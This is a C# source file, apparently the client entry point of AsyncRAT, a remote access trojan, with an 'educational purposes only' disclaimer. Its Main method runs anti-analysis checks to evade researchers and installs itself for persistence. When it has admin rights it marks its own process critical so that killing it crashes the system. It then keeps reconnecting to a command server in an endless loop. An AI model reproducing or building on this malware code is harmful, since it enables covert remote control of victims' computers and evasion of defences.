2019-05-29 19:47:49 +03:00

55 lines
1.3 KiB
C#

using System.Threading;
using Client.Sockets;
using Client.Install;
using System;
using Client.Helper;
// │ Author : NYAN CAT
// │ Name : AsyncRAT // Simple RAT
// Contact Me : https://github.com/NYAN-x-CAT
// This program Is distributed for educational purposes only.
// Credits;
// Serialization @ymofen
// StreamLibrary @Dergan
// Special Thanks MaxXor@hf gigajew@hf
namespace Client
{
class Program
{
static void Main()
{
Thread.Sleep(2500);
if (!Settings.InitializeSettings()) Environment.Exit(0);
if (!Methods.CreateMutex())
Environment.Exit(0);
if (Convert.ToBoolean(Settings.Anti))
Anti_Analysis.RunAntiAnalysis();
if (Convert.ToBoolean(Settings.Install))
NormalStartup.Install();
if (Convert.ToBoolean(Settings.BDOS) && Methods.IsAdmin())
ProcessCritical.Set();
ClientSocket.InitializeClient();
while (true)
{
if (!ClientSocket.IsConnected)
{
ClientSocket.Reconnect();
ClientSocket.InitializeClient();
}
Thread.Sleep(new Random().Next(1000,5000));
}
}
}
}